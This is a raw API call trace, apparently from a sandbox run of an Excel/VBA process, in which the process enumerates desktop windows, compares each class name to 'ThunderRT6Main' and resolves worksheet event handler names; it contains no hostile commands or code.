lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0086.132] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0086.132] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0086.132] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0086.132] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0086.132] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.132] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0086.132] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0086.132] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0086.132] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0086.132] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0086.132] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.132] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0086.132] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0086.132] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.132] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0086.132] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0086.132] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.132] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.132] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0086.132] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.132] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0086.133] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0086.133] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0086.133] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.133] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0086.133] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.133] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0086.133] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0086.133] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.133] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.133] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0086.133] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0086.133] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0086.133] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0086.133] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.133] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0086.133] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0086.133] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.133] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.133] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0086.133] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.133] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.133] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.133] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0086.133] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="#43") returned 3 [0086.133] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0086.134] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0086.134] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.134] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0086.134] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0086.134] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0086.134] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.134] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0086.134] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0086.134] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.134] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0086.134] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0086.134] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.134] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0086.134] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0086.134] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.134] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0086.134] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0086.134] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0086.134] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0086.134] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0086.134] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.134] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.135] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.135] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0086.135] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0086.135] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0086.135] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.135] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0086.135] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.135] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.135] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0086.135] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0086.135] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0086.135] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0086.135] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0086.135] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0086.135] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0086.136] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0086.136] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.136] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0086.136] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb684b20 [0086.136] IMalloc:Free (This=0x7feffc15380, pv=0xb684b20) [0086.394] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197) returned 0x0 [0086.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0086.394] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0086.394] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0086.394] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0086.394] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0086.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0086.394] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0086.394] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0086.394] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0086.396] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0086.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0086.396] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0086.396] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0086.396] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0086.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0086.606] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb687180 [0086.607] strncpy_s (in: _Dst=0xb687180, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0086.607] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0086.607] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0086.607] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0086.607] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0086.607] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0086.607] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0086.607] IUnknown:Release (This=0xb1d1380) returned 0xb [0086.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb687180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.607] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0086.607] IUnknown:Release (This=0xb1d1380) returned 0xa [0086.607] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0086.608] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0086.608] IUnknown:Release (This=0xb1d0570) returned 0x12 [0086.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb687180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.608] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0086.608] IUnknown:Release (This=0xb1d0570) returned 0x11 [0086.608] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0086.608] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0086.608] IUnknown:Release (This=0xb1d1920) returned 0x6 [0086.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb687180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.608] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0086.608] IUnknown:Release (This=0xb1d1920) returned 0x5 [0086.608] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0086.608] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0086.608] IUnknown:Release (This=0x6fed890) returned 0x4 [0086.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb687180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.608] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0086.609] IUnknown:Release (This=0x6fed890) returned 0x3 [0086.609] IMalloc:Free (This=0x7feffc15380, pv=0xb687180) [0086.609] GetCurrentThreadId () returned 0x92c [0086.609] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0086.609] GetDesktopWindow () returned 0x10010 [0086.609] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0086.609] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0086.609] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0086.609] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.609] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0086.609] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.609] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.609] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0086.609] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0086.609] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0086.609] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0086.609] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0086.609] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0086.609] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.609] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.609] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.609] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0086.609] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.609] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0086.610] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0086.610] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0086.610] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0086.610] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0086.610] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0086.610] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0086.610] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.610] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.610] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0086.611] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.611] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0086.611] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0086.611] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0086.611] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0086.611] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0086.611] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0086.611] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0086.611] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0086.611] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.611] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.611] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0086.611] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.611] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.611] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.611] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0086.611] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0086.611] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.612] GetWindow 